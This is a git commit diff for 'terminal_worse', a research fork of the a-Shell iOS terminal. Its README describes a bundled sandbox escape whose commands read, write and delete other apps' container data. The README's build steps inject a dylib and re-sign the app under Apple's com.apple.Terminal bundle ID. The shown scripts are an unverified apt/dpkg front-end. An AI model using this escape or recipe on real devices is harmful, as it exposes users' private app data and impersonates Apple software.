commit 598ef7b1bf3104bfc014de7ae47a841e7faadd52 Author: ztby Date: Mon Nov 9 22:51:39 2026 +0800 Terminal 1.0: a-Shell 2.3.2 full + worse_query + native plugin environment diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..97e0418 --- /dev/null +++ b/.gitignore @@ -0,0 +1,16 @@ +# Local build inputs +work/ +build/ +package/ +testapp/ +cert/ +*.ipa +*.p12 +*.mobileprovision +*.tar.gz +*.log +signing/ + +# Research inputs +neofetch-script +a-Shell*.ipa diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. 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If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/NOTICE b/NOTICE new file mode 100644 index 0000000..2199637 --- /dev/null +++ b/NOTICE @@ -0,0 +1,9 @@ +terminal_worse is a security-research fork built from: + +- a-Shell by Nicolas Holzschuch (BSD-2-Clause) +- worse_query by Taj C / forcequitOS (GPL-3.0) +- badshell by wormprojects +- pathleak by forcequitOS +- neofetch by Dylan Araps (ASCII art / field inspiration, MIT) + +Project-specific additions are distributed under GPL-3.0. See LICENSE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..a4e563d --- /dev/null +++ b/README.md @@ -0,0 +1,152 @@ +# terminal_worse + +A fork of **a-Shell 2.3.2 (full)** with the **worse_query** sandbox escape, +a native terminal plugin environment, and a small set of UX additions. + +Built and tested on **iPhone 18 Pro Max, iOS 27.0.1 (24A446)**, signed with a +development provisioning profile. Bundle ID: `com.apple.Terminal`. + +> This is a personal security-research project. The repository does NOT +> contain the decrypted a-Shell IPA (it must be supplied locally) and does NOT +> contain the signing certificate or provisioning profile. + +## Features + +- Full a-Shell 2.3.2 app: Python, Perl, TeX, clang/LLVM, SSH, vim, etc. +- `worse_query` app-group sandbox escape covering every path documented by + the upstream project: + - `/var/containers/Data/System` + - `/var/containers/Shared/SystemGroup/*` + - `/var/mobile/Containers/Data/Application/*` + - `/var/mobile/Containers/Data/InternalDaemon/*` + - `/var/mobile/Containers/Data/PluginKitPlugin/*` + - `/var/mobile/Containers/Shared/AppGroup/*` + - `/var/mobile/Containers/Shared/AppGroup` +- Launch-time blocking progress UI, then auto-mount under + `~/Documents/_sandbox/` and run `cd _sandbox; ls`. +- App containers are exposed by bundle ID, with `Documents/ Library/ tmp/ + SystemData/ StoreKit/` and a `_data` link to the full container root. +- `keep_content` is forced off: every launch starts a fresh terminal and does + not restore the previous command history. +- BadShell command set preserved. `badshell` is renamed to **`sbxhelp`**. +- Built-in **`neofetch`** with live device data (OS/build, model, kernel, + uptime, resolution, CPU/GPU, memory, disk, battery, thermal, locale, + timezone, IP). It uses neofetch's compact Apple ASCII art, not a bash + script. +- Terminal-style app icon (generated by `icon/make_icon.py`). + +## Shell commands + +``` +sbxhelp help / mount overview +sbx_status [-v] app group, mount state, active handles +sbx_remount re-run the full auto-mount +sbx_grant [-c] consume a sandbox extension +sbx_release +sbx_ls +sbx_cat +sbx_cp +sbx_write [-a] +sbx_rm [-r] +sbx_hexdump [-n N] +sbx_containers [root] +sbx_id +sbx_sysgroups [filter] +sbx_probe +sbx_paths +bswelcome +neofetch +``` + +## Native plugin environment + +`termenv` creates an independent prefix at `~/Documents/.terminal` and +provides a native `apt`/`dpkg` compatible package front-end for +Terminal-compatible `.deb` files (scripts or iOS/Darwin arm64 payloads). + +```sh +termenv init +source ~/Documents/.terminal/etc/profile # or: termenv on +apt update +apt install +dpkg -i +dpkg -l +mkdeb [arch] +plugin-run [args...] +``` + +Default sources: + +``` +deb [trusted=yes] file://$PREFIX/repo ./ +deb [trusted=yes] https://repo.procurs.us/ ./ +deb [trusted=yes] https://repo.havoc.app/ ./ +``` + +`apt update` downloads `Packages.xz`/`.gz`/plain indexes. Procursus/Havoc +indexes may be unreachable from some networks; the local source still works. + +### Important limitations + +- **Native Mach-O CLI binaries from Procursus/Havoc cannot run in a-Shell.** + `ios_system`'s `isRealCommand` deliberately rejects Mach-O files, and a + non-jailbroken app cannot execute unsigned external executables. Script + plugins (`#!/bin/sh`, python, perl, lua) and WebAssembly plugins can run; + use `plugin-run` for a clear diagnostic. Native binaries require a + jailbreak or a Linux/emulator environment. +- `bash` is a **sh-compatibility launcher**, not GNU bash. `bash -c` and + simple scripts work; bash-specific arrays/`[[` do not. +- The Python package backend (`pkgtool`) is used when available. The + package-install path is still being polished; `apt update`, package + download, extraction, `dpkg -l` and the local `hello` sample are the + current test targets. +- `apt` does not verify GPG signatures; sources are `[trusted=yes]`. + +## Repository layout + +``` +src/TerminalSBX.m injected dylib: worse_query, UI, commands, neofetch +env/ native plugin environment commands +icon/ icon generator + compiled Assets.car +scripts/ entitlements, signing/build helpers +``` + +## Building + +Requirements: macOS + Xcode 27, the decrypted `a-Shell_2.3.2.ipa`, a signing +identity and provisioning profile with an app group. + +1. Extract `Payload/a-Shell.app` to `work/Terminal.app`. +2. Rename the executable `a-Shell` to `Terminal`; set `CFBundleIdentifier` + `com.apple.Terminal`, `CFBundleName`/`CFBundleDisplayName` `Terminal`, + `CFBundleExecutable` `Terminal`, and `AppGroupIdentifier` to a group in + the profile. +3. Build `src/TerminalSBX.m` as `Frameworks/TerminalSBX.dylib` + (`scripts/build_dylib.sh`). +4. Copy `env/*` into `Terminal.app/bin`; copy `icon/out/Assets.car` and the + three `DisplayIcon*.png` files. +5. Add the `sbx_*`, `sbxhelp`, `neofetch` entries to + `commandDictionary.plist` pointing at + `@executable_path/Frameworks/TerminalSBX.dylib`. +6. Inject a weak `LC_LOAD_DYLIB` for + `@executable_path/Frameworks/TerminalSBX.dylib` with LIEF + (`scripts/inject_dylib.py`). +7. Re-sign every framework with the same team, then the app with + `scripts/ent.plist` and the provisioning profile + (`scripts/sign_all.sh`). +8. Install with `devicectl`/Feather/TrollStore as appropriate for the + signing profile. + +The app in this repository is source-only; the signed IPA is a release asset +and is not committed to Git. + +## Credits + +- **a-Shell** — Nicolas Holzschuch, BSD-2-Clause. +- **worse_query** — Taj C / forcequitOS, GPL-3.0. +- **badshell** — wormprojects. +- **pathleak** — forcequitOS. +- **neofetch** — Dylan Araps (ASCII art/field inspiration), MIT. +- The a-Shell full IPA was supplied by the operator for local research. + +All project-specific additions are released under GPL-3.0 (see `LICENSE`). diff --git a/env/apt b/env/apt new file mode 100755 index 0000000..ba0c91c --- /dev/null +++ b/env/apt @@ -0,0 +1,316 @@ +#!/bin/sh +# apt - native Terminal package front-end (Terminal-compatible .deb packages) +# This is not Debian apt: it manages packages built for iOS/Terminal. + +ROOT="${TERM_ROOT:-$HOME/Documents/.terminal}" +LISTS="$ROOT/var/lib/apt/lists" +INDEX="$LISTS/Packages" +CACHE="$ROOT/var/cache/apt/archives" +SOURCES="$ROOT/etc/apt/sources.list" +VISITED="" +DPKG="${APPDIR:-}/bin/dpkg" +[ -f "$DPKG" ] || DPKG="dpkg" + +usage() { + printf '%s\n' "Usage: apt " + printf '%s\n' "" + printf '%s\n' " update Refresh package indexes" + printf '%s\n' " search Search package names/descriptions" + printf '%s\n' " show Show package details" + printf '%s\n' " install Install a package (dependencies are resolved locally)" + printf '%s\n' " remove|purge Remove a package" + printf '%s\n' " list --installed List installed packages" + printf '%s\n' " list List packages in the current index" + printf '%s\n' " clean Clear downloaded archives" + printf '%s\n' " --version Show version" + printf '%s\n' "" + printf '%s\n' "Default repository: file://$ROOT/repo" + printf '%s\n' "Create packages with: mkdeb [arch]" +} +ensure() { + mkdir -p "$ROOT" "$LISTS" "$CACHE" "$ROOT/var/lib/dpkg" "$ROOT/tmp" + [ -f "$ROOT/var/lib/dpkg/status" ] || : > "$ROOT/var/lib/dpkg/status" +} + +field() { + key="$1"; stanza="$2" + tmp="$ROOT/tmp/field.$$" + printf '%s\n' "$stanza" > "$tmp" + awk -v key="$key" 'index($0,key": ")==1 { sub("^" key ": ",""); print; exit }' "$tmp" + rm -f "$tmp" +} + +find_stanza() { + local pkg="$1" + [ -f "$INDEX" ] || return 0 + awk -v pkg="$pkg" 'BEGIN{RS=""; ORS="\n\n"} $0 ~ "(^|\\n)Package: " pkg "(\\n|$)" { print; exit }' "$INDEX" +} + +is_installed() { + out="$ROOT/tmp/dpkg-status.$$" + sh "$DPKG" -s "$1" > "$out" 2>/dev/null + grep -q '^Status: install ok installed' "$out" + result=$? + rm -f "$out" + return $result +} + +decompress_index() { + file="$1" + out="$2" + case "$file" in + *.xz) + xz -d -c "$file" >> "$out" 2>/dev/null || python3 -c 'import lzma,sys; sys.stdout.buffer.write(lzma.open(sys.argv[1],"rb").read())' "$file" >> "$out" 2>/dev/null + ;; + *.gz) + gzip -dc "$file" >> "$out" 2>/dev/null || python3 -c 'import gzip,sys; sys.stdout.buffer.write(gzip.open(sys.argv[1],"rb").read())' "$file" >> "$out" 2>/dev/null + ;; + *) + cat "$file" >> "$out" + ;; + esac +} + +fetch_index() { + URI="$1" + TMPIDX="$ROOT/tmp/index.$$" + rm -f "$TMPIDX" "$TMPIDX.xz" "$TMPIDX.gz" + case "$URI" in + file://*) + DIR="${URI#file://}" + for name in Packages Packages.xz Packages.gz; do + if [ -f "$DIR/$name" ]; then + decompress_index "$DIR/$name" "$INDEX" + return 0 + fi + done + ;; + http://*|https://*) + if curl -L --fail --silent --connect-timeout 10 --max-time 120 "$URI/Packages.xz" -o "$TMPIDX.xz" 2>/dev/null; then + decompress_index "$TMPIDX.xz" "$INDEX" + rm -f "$TMPIDX.xz" + return 0 + fi + if curl -L --fail --silent --connect-timeout 10 --max-time 120 "$URI/Packages.gz" -o "$TMPIDX.gz" 2>/dev/null; then + decompress_index "$TMPIDX.gz" "$INDEX" + rm -f "$TMPIDX.gz" + return 0 + fi + if curl -L --fail --silent --connect-timeout 10 --max-time 120 "$URI/Packages" -o "$TMPIDX" 2>/dev/null; then + cat "$TMPIDX" >> "$INDEX" + rm -f "$TMPIDX" + return 0 + fi + ;; + esac + return 1 +} + +update_lists() { + ensure + echo "apt: updating package lists..." + : > "$INDEX" + if [ ! -f "$SOURCES" ]; then + mkdir -p "$(dirname "$SOURCES")" + printf 'deb [trusted=yes] file://%s/repo ./\n' "$ROOT" > "$SOURCES" + fi + n=1 + while [ $n -le 8 ]; do + LINE=$(awk -v want="$n" '/^deb /{ count++; if (count == want) { print; exit } }' "$SOURCES") + [ -n "$LINE" ] || break + set -- $LINE + if [ "${2:-}" = "[trusted=yes]" ]; then + URI="${3:-}"; SUITE="${4:-./}" + else + URI="${2:-}"; SUITE="${3:-./}" + fi + if [ -n "$URI" ]; then + case "$URI" in + http://*|https://*) + if [ "${APT_SKIP_REMOTE:-0}" = "1" ]; then + echo "Ign:$n $URI (remote skipped)" + n=$((n + 1)) + continue + fi + ;; + esac + if fetch_index "$URI"; then + echo "Get:$n $URI $SUITE" + else + echo "Err:$n $URI (no index / unreachable)" >&2 + fi + fi + n=$((n + 1)) + done + echo "Reading package lists... Done" +} + +search_packages() { + text="${1:-}" + ensure + [ -f "$INDEX" ] || { echo "E: Run 'apt update' first" >&2; return 1; } + awk -v pat="$text" 'BEGIN{RS="";FS="\n"} { + if (pat == "" || tolower($0) ~ tolower(pat)) { + p=""; v=""; d=""; + for (i=1;i<=NF;i++) { + if ($i ~ /^Package: /) p=substr($i,10); + if ($i ~ /^Version: /) v=substr($i,10); + if ($i ~ /^Description: /) d=substr($i,14); + } + if (p != "") printf "%-28s %-16s %s\n", p, v, d; + } + }' "$INDEX" +} + +show_package() { + pkg="${1:-}" + ensure + stanza=$(find_stanza "$pkg") + if [ -z "$stanza" ]; then + echo "E: Unable to locate package $pkg" >&2 + return 1 + fi + printf '%s\n' "$stanza" +} + +install_one() { + local pkg="$1" + local stanza version depends dep filename local_archive base oldifs + [ -n "$pkg" ] || return 0 + case " $VISITED " in *" $pkg "*) return 0 ;; esac + VISITED="$VISITED $pkg" + if is_installed "$pkg"; then + echo "$pkg is already the newest version." + return 0 + fi + stanza=$(find_stanza "$pkg") + if [ -z "$stanza" ]; then + for localdeb in "$ROOT/repo/pool/${pkg}"_*.deb; do + if [ -f "$localdeb" ]; then + echo "Installing $pkg from local pool..." + sh "$DPKG" -i "$localdeb" || return 1 + return 0 + fi + done + echo "E: Unable to locate package $pkg" >&2 + return 1 + fi + version=$(field Version "$stanza") + depends=$(field Depends "$stanza") + if [ -n "$depends" ]; then + oldifs="$IFS" + IFS=',' + for dep in $depends; do + IFS="$oldifs" + dep=${dep%%|*} + dep=${dep%%(*} + dep=$(echo "$dep" | tr -d ' ') + dep=${dep%:any} + [ -n "$dep" ] || continue + if ! is_installed "$dep"; then + if [ -n "$(find_stanza "$dep")" ]; then + echo "Installing dependency: $dep" + install_one "$dep" || return 1 + else + echo "W: dependency '$dep' is not in the index" >&2 + fi + fi + IFS=',' + done + IFS="$oldifs" + fi + filename=$(field Filename "$stanza") + if [ -z "$filename" ]; then + echo "E: package $pkg has no Filename field" >&2 + return 1 + fi + filename="${filename#./}" + local_archive="$CACHE/${pkg}_${version}.deb" + if [ -f "$ROOT/repo/$filename" ]; then + cp "$ROOT/repo/$filename" "$local_archive" || return 1 + else + fetched=0 + BASES=$(awk '/^deb /{for(i=1;i<=NF;i++) if($i ~ /^https?:/) print $i}' "$SOURCES") + for base in $BASES; do + if curl -L --fail --silent --connect-timeout 10 --max-time 180 "$base/$filename" -o "$local_archive" 2>/dev/null; then + fetched=1 + break + fi + done + if [ $fetched -ne 1 ]; then + echo "E: cannot fetch $filename" >&2 + return 1 + fi + fi + echo "Installing $pkg ($version)..." + echo "apt: invoking dpkg..." + sh "$DPKG" -i "$local_archive" || return 1 + return 0 +} + +install_packages() { + ensure + echo "apt: resolving packages..." + [ -f "$INDEX" ] || { echo "E: Run 'apt update' first" >&2; return 1; } + status=0 + for arg in "$@"; do + case "$arg" in + *.deb) + sh "$DPKG" -i "$arg" || status=1 + ;; + *) + install_one "$arg" || status=1 + ;; + esac + done + echo "Done." + return $status +} + +remove_packages() { + status=0 + for pkg in "$@"; do + sh "$DPKG" -r "$pkg" || status=1 + done + return $status +} + +list_installed() { + sh "$DPKG" -l +} + +list_all() { + ensure + [ -f "$INDEX" ] || { echo "E: Run 'apt update' first" >&2; return 1; } + awk 'BEGIN{RS="";FS="\n"} { + p="";v="";a=""; + for(i=1;i<=NF;i++){ + if($i~/^Package: /)p=substr($i,10); + if($i~/^Version: /)v=substr($i,10); + if($i~/^Architecture: /)a=substr($i,14); + } + if(p!="") printf "%-28s %-16s %s\n", p, v, a; + }' "$INDEX" +} + +case "${1:-}" in + update) update_lists ;; + search) shift; search_packages "${1:-}" ;; + show) shift; show_package "${1:-}" ;; + install) shift; install_packages "$@" ;; + remove|uninstall) shift; remove_packages "$@" ;; + purge) shift; remove_packages "$@" ;; + list) + shift + if [ "${1:-}" = "--installed" ]; then list_installed; else list_all; fi + ;; + clean) + rm -f "$CACHE"/*.deb + echo "Cleaned package archives" + ;; + --version|-v) + echo "apt 1.0 (Terminal native package front-end)" + ;; + ""|-h|--help|help) usage ;; + *) usage; exit 2 ;; +esac diff --git a/env/apt-get b/env/apt-get new file mode 100755 index 0000000..5241a99 --- /dev/null +++ b/env/apt-get @@ -0,0 +1,4 @@ +#!/bin/sh +# apt-get compatibility wrapper for the native Terminal package manager. +sh "$APPDIR/bin/apt" "$@" +exit $? diff --git a/env/ardeb b/env/ardeb new file mode 100644 index 0000000..1b41609 --- /dev/null +++ b/env/ardeb @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 +"""Minimal ar archive packer/extractor for .deb files on a-Shell. + +Usage: + ardeb pack [file ...] + ardeb extract +""" + +import os +import sys + + +def pack(out_path, files): + with open(out_path, "wb") as out: + out.write(b"!\n") + for path in files: + data = open(path, "rb").read() + name = os.path.basename(path) + if len(name) > 15: + raise SystemExit("ardeb: member name too long: " + name) + header = ( + name.ljust(16) + + "0".ljust(12) + + "0".ljust(6) + + "0".ljust(6) + + "100644".ljust(8) + + str(len(data)).ljust(10) + + "`\n" + ).encode("ascii") + out.write(header) + out.write(data) + if len(data) & 1: + out.write(b"\n") + + +def extract(archive, dest): + data = open(archive, "rb").read() + if not data.startswith(b"!\n"): + raise SystemExit("ardeb: not an ar archive") + os.makedirs(dest, exist_ok=True) + pos = 8 + while pos + 60 <= len(data): + header = data[pos:pos + 60] + pos += 60 + name = header[:16].decode("ascii", "ignore").strip().rstrip("/") + if not name: + continue + try: + size = int(header[48:58].decode("ascii", "ignore").strip() or "0") + except ValueError: + size = 0 + body = data[pos:pos + size] + pos += size + (size & 1) + if name in (".", ".."): + continue + open(os.path.join(dest, name), "wb").write(body) + + +def main(): + if len(sys.argv) < 4: + raise SystemExit(__doc__) + if sys.argv[1] == "pack": + pack(sys.argv[2], sys.argv[3:]) + elif sys.argv[1] == "extract": + extract(sys.argv[2], sys.argv[3]) + else: + raise SystemExit(__doc__) + + +if __name__ == "__main__": + main() diff --git a/env/bash b/env/bash new file mode 100755 index 0000000..c43c952 --- /dev/null +++ b/env/bash @@ -0,0 +1,38 @@ +#!/bin/sh +# bash-compat - a-Shell POSIX sh compatibility launcher. +# +# GNU bash is not bundled with Terminal. This launcher provides the common +# `bash script` / `bash -c 'command'` interface on top of a-Shell's sh so +# simple plugin scripts work. If a real bash is installed at +# $PREFIX/bin/bash, the prefix PATH takes precedence over this launcher. + +if [ "${1:-}" = "--version" ] || [ "${1:-}" = "-version" ]; then + echo "bash-compat 1.0 (a-Shell POSIX sh; GNU bash is not bundled)" + exit 0 +fi + +if [ "${1:-}" = "-c" ]; then + shift + if [ $# -eq 0 ]; then + echo "bash-compat: -c requires a command" >&2 + exit 2 + fi + command="$1" + shift + sh -c "$command" "$@" + exit $? +fi + +if [ $# -gt 0 ] && [ -f "$1" ]; then + sh "$@" + exit $? +fi + +if [ $# -eq 0 ]; then + echo "bash-compat: a-Shell POSIX sh. GNU bash-specific syntax is not supported." >&2 + sh -s + exit $? +fi + +sh "$@" +exit $? diff --git a/env/dpkg b/env/dpkg new file mode 100755 index 0000000..db9c600 --- /dev/null +++ b/env/dpkg @@ -0,0 +1,391 @@ +#!/bin/sh +# dpkg - native Terminal package manager (Debian .deb format subset) +# +# Packages must be built for the native Terminal/iOS environment (scripts or +# iOS/Darwin arm64 binaries). Debian Linux arm64/amd64 packages are rejected +# by default because their ELF binaries cannot run on iOS without an emulator. + +ROOT="${TERM_ROOT:-$HOME/Documents/.terminal}" +STATUS="$ROOT/var/lib/dpkg/status" +INFO="$ROOT/var/lib/dpkg/info" +FORCE_ARCH=0 + +usage() { + printf '%s\n' "Usage: dpkg " + printf '%s\n' "" + printf '%s\n' " -i, --install Install a Terminal-compatible .deb" + printf '%s\n' " -r, --remove Remove a package" + printf '%s\n' " -P, --purge Remove a package (same as -r here)" + printf '%s\n' " -l, --list List installed packages" + printf '%s\n' " -s, --status Show package status" + printf '%s\n' " -L, --listfiles List files installed by a package" + printf '%s\n' " -x, --extract Extract a .deb data archive" + printf '%s\n' " --contents List the contents of a .deb" + printf '%s\n' " --print-architecture Print the native architecture" + printf '%s\n' " --force-architecture Allow non-native architecture packages" + printf '%s\n' " --version Show version" +} +ensure() { + mkdir -p "$ROOT" "$INFO" "$ROOT/tmp" "$ROOT/var/lib/dpkg" + [ -f "$STATUS" ] || : > "$STATUS" +} + +field() { + key="$1"; file="$2" + awk -v key="$key" 'index($0,key": ")==1 { sub("^" key ": ",""); print; exit }' "$file" +} + +stanza_field() { + key="$1"; stanza="$2" + printf '%s\n' "$stanza" | awk -v key="$key" 'index($0,key": ")==1 { sub("^" key ": ",""); print; exit }' +} + +stanza_for() { + pkg="$1" + awk -v pkg="$pkg" 'BEGIN{RS=""; ORS="\n\n"} $0 ~ "(^|\\n)Package: " pkg "(\\n|$)" { print; exit }' "$STATUS" +} + +remove_status() { + pkg="$1" + TMP="$ROOT/tmp/status.$$" + awk -v pkg="$pkg" 'BEGIN{RS=""; ORS="\n\n"} $0 !~ "(^|\\n)Package: " pkg "(\\n|$)" { print }' "$STATUS" > "$TMP" + mv "$TMP" "$STATUS" +} + +append_status() { + { + echo "Package: $PKG" + echo "Status: install ok installed" + echo "Priority: ${PRIORITY:-optional}" + echo "Section: ${SECTION:-plugins}" + echo "Installed-Size: ${INSTALLED_SIZE:-0}" + echo "Maintainer: ${MAINTAINER:-unknown}" + echo "Architecture: ${ARCH:-iphoneos-arm64}" + echo "Version: $VERSION" + echo "Description: $DESCRIPTION" + echo "" + } >> "$STATUS" +} + +ar_extract() { + archive="$1" + dest="$2" + tar -xf "$archive" -C "$dest" >/dev/null 2>&1 + if [ ! -f "$dest/debian-binary" ]; then + if python3 -c 'pass' >/dev/null 2>&1 && [ -f "$APPDIR/bin/ardeb" ]; then + python3 "$APPDIR/bin/ardeb" extract "$archive" "$dest" + fi + fi +} + +install_deb() { + DEB="$1" + if [ ! -f "$DEB" ]; then + echo "dpkg: cannot access archive '$DEB': No such file" >&2 + return 1 + fi + if python3 -c 'pass' >/dev/null 2>&1 && [ -f "$APPDIR/bin/pkgtool" ]; then + python3 "$APPDIR/bin/pkgtool" install "$DEB" + return $? + fi + ensure + echo "dpkg: unpacking $DEB" + TMP="$ROOT/tmp/dpkg.$$" + rm -rf "$TMP" + mkdir -p "$TMP" + cp "$DEB" "$TMP/pkg.deb" || { rm -rf "$TMP"; return 1; } + ar_extract "$TMP/pkg.deb" "$TMP" + echo "dpkg: ar extracted" + if [ ! -f "$TMP/debian-binary" ]; then + echo "dpkg: '$DEB' is not a Debian-format archive" >&2 + rm -rf "$TMP" + return 1 + fi + + CTRL_ARCHIVE="" + for f in "$TMP"/control.tar.*; do [ -f "$f" ] && { CTRL_ARCHIVE="$f"; break; }; done + DATA_ARCHIVE="" + for f in "$TMP"/data.tar.*; do [ -f "$f" ] && { DATA_ARCHIVE="$f"; break; }; done + if [ -z "$CTRL_ARCHIVE" ] || [ -z "$DATA_ARCHIVE" ]; then + echo "dpkg: missing control or data archive" >&2 + rm -rf "$TMP" + return 1 + fi + + mkdir -p "$TMP/control" + case "$CTRL_ARCHIVE" in + *.gz) tar -xzf "$CTRL_ARCHIVE" -C "$TMP/control" 2>/dev/null ;; + *.xz) tar -xJf "$CTRL_ARCHIVE" -C "$TMP/control" 2>/dev/null ;; + *) tar -xf "$CTRL_ARCHIVE" -C "$TMP/control" 2>/dev/null ;; + esac + CONTROL="" + if [ -f "$TMP/control/control" ]; then + CONTROL="$TMP/control/control" + elif [ -f "$TMP/control/DEBIAN/control" ]; then + CONTROL="$TMP/control/DEBIAN/control" + fi + if [ -z "$CONTROL" ]; then + echo "dpkg: no control file in package" >&2 + rm -rf "$TMP" + return 1 + fi + + PKG=$(field Package "$CONTROL") + VERSION=$(field Version "$CONTROL") + ARCH=$(field Architecture "$CONTROL") + PRIORITY=$(field Priority "$CONTROL") + SECTION=$(field Section "$CONTROL") + MAINTAINER=$(field Maintainer "$CONTROL") + DESCRIPTION=$(field Description "$CONTROL") + [ -n "$PKG" ] && [ -n "$VERSION" ] || { + echo "dpkg: invalid control file (Package/Version missing)" >&2 + rm -rf "$TMP" + return 1 + } + case "$PKG" in + *[!A-Za-z0-9+.-]*|"") echo "dpkg: invalid package name: $PKG" >&2; rm -rf "$TMP"; return 1 ;; + esac + + case "$ARCH" in + ""|all|iphoneos-arm64|darwin-arm64|a-shell) ;; + *) + if [ "$FORCE_ARCH" != "1" ]; then + echo "dpkg: architecture '$ARCH' is not native to iOS/Terminal." >&2 + echo " Debian Linux binaries cannot run without an emulator." >&2 + echo " Use --force-architecture only for script-only packages." >&2 + rm -rf "$TMP" + return 1 + fi + echo "dpkg: warning: forcing architecture '$ARCH'" >&2 + ;; + esac + + echo "Selecting previously unselected package $PKG." + echo "Unpacking $PKG ($VERSION) ..." + + if [ -f "$TMP/control/preinst" ]; then + TERM_ROOT="$ROOT" PREFIX="$ROOT" sh "$TMP/control/preinst" install || { + echo "dpkg: preinst script failed" >&2 + rm -rf "$TMP" + return 1 + } + fi + + echo "dpkg: extracting data archive..." + case "$DATA_ARCHIVE" in + *.gz) tar -tzf "$DATA_ARCHIVE" 2>/dev/null > "$TMP/filelist" ;; + *.xz) tar -tJf "$DATA_ARCHIVE" 2>/dev/null > "$TMP/filelist" ;; + *) tar -tf "$DATA_ARCHIVE" 2>/dev/null > "$TMP/filelist" ;; + esac + awk '{ sub(/^\.\//,""); if ($0 != "") print }' "$TMP/filelist" > "$INFO/$PKG.list" + DATA_OK=0 + case "$DATA_ARCHIVE" in + *.gz) tar -xzf "$DATA_ARCHIVE" -C "$ROOT" --no-same-owner 2>/dev/null && DATA_OK=1 ;; + *.xz) tar -xJf "$DATA_ARCHIVE" -C "$ROOT" --no-same-owner 2>/dev/null && DATA_OK=1 ;; + *) tar -xf "$DATA_ARCHIVE" -C "$ROOT" --no-same-owner 2>/dev/null && DATA_OK=1 ;; + esac + if [ $DATA_OK -ne 1 ]; then + case "$DATA_ARCHIVE" in + *.gz) tar -xzf "$DATA_ARCHIVE" -C "$ROOT" 2>/dev/null && DATA_OK=1 ;; + *.xz) tar -xJf "$DATA_ARCHIVE" -C "$ROOT" 2>/dev/null && DATA_OK=1 ;; + *) tar -xf "$DATA_ARCHIVE" -C "$ROOT" 2>/dev/null && DATA_OK=1 ;; + esac + fi + if [ $DATA_OK -ne 1 ]; then + echo "dpkg: failed to extract data archive" >&2 + rm -rf "$TMP" + return 1 + fi + + # Warn about native Mach-O payloads: a-Shell cannot execute them. + if [ -f "$INFO/$PKG.list" ]; then + for f in $(cat "$INFO/$PKG.list"); do + case "$f" in + bin/*|sbin/*|usr/bin/*|usr/sbin/*|usr/libexec/*) + if file "$ROOT/$f" 2>/dev/null | grep -q 'Mach-O'; then + echo "dpkg: note: $f is a native Mach-O executable; a-Shell cannot run it." >&2 + fi + ;; + esac + done + fi + + remove_status "$PKG" + INSTALLED_SIZE=$(du -sk "$ROOT" 2>/dev/null) + INSTALLED_SIZE=${INSTALLED_SIZE%%[!0-9]*} + append_status + + for script in preinst postinst prerm postrm; do + if [ -f "$TMP/control/$script" ]; then + cp "$TMP/control/$script" "$INFO/$PKG.$script" + chmod +x "$INFO/$PKG.$script" + fi + done + + if [ -f "$TMP/control/postinst" ]; then + TERM_ROOT="$ROOT" PREFIX="$ROOT" sh "$TMP/control/postinst" configure || { + echo "dpkg: postinst script failed" >&2 + rm -rf "$TMP" + return 1 + } + fi + + echo "Setting up $PKG ($VERSION) ..." + rm -rf "$TMP" + return 0 +} + +remove_pkg() { + PKG="$1" + [ -n "$PKG" ] || { usage; return 2; } + ensure + STANZA=$(stanza_for "$PKG") + if [ -z "$STANZA" ]; then + echo "dpkg: package '$PKG' is not installed" >&2 + return 1 + fi + if [ -f "$INFO/$PKG.prerm" ]; then + ( TERM_ROOT="$ROOT" PREFIX="$ROOT" sh "$INFO/$PKG.prerm" remove ) || true + fi + if [ -f "$INFO/$PKG.list" ]; then + for f in $(cat "$INFO/$PKG.list"); do + case "$f" in + ""|/*|../*|*/../*) continue ;; + esac + [ -d "$ROOT/$f" ] && continue + rm -f "$ROOT/$f" + done + fi + if [ -f "$INFO/$PKG.postrm" ]; then + ( TERM_ROOT="$ROOT" PREFIX="$ROOT" sh "$INFO/$PKG.postrm" remove ) || true + fi + remove_status "$PKG" + rm -f "$INFO/$PKG.list" "$INFO/$PKG.preinst" "$INFO/$PKG.postinst" \ + "$INFO/$PKG.prerm" "$INFO/$PKG.postrm" + echo "Removing $PKG ..." + echo "Purging configuration files for $PKG ..." + return 0 +} + +list_packages() { + ensure + echo "Desired=Unknown/Install/Remove/Purge/Hold" + echo "| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend" + echo "|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)" + echo "||/ Name Version Architecture Description" + echo "+++-====================-================-================-=================================" + awk 'BEGIN{RS="";FS="\n"} { + p="";v="";a="";d="";s=""; + for (i=1;i<=NF;i++) { + if ($i ~ /^Package: /) p=substr($i,10); + if ($i ~ /^Version: /) v=substr($i,10); + if ($i ~ /^Architecture: /) a=substr($i,14); + if ($i ~ /^Description: /) d=substr($i,14); + if ($i ~ /^Status: /) s=substr($i,9); + } + if (s ~ /installed/) printf "ii %-20s %-16s %-16s %s\n", p, v, a, d; + }' "$STATUS" +} + +status_pkg() { + PKG="$1" + STANZA=$(stanza_for "$PKG") + if [ -z "$STANZA" ]; then + echo "dpkg-query: package '$PKG' is not installed" >&2 + return 1 + fi + printf '%s\n' "$STANZA" +} + +list_files() { + PKG="$1" + if [ ! -f "$INFO/$PKG.list" ]; then + echo "dpkg-query: package '$PKG' is not installed" >&2 + return 1 + fi + sed "s#^#/#" "$INFO/$PKG.list" +} + +extract_deb() { + 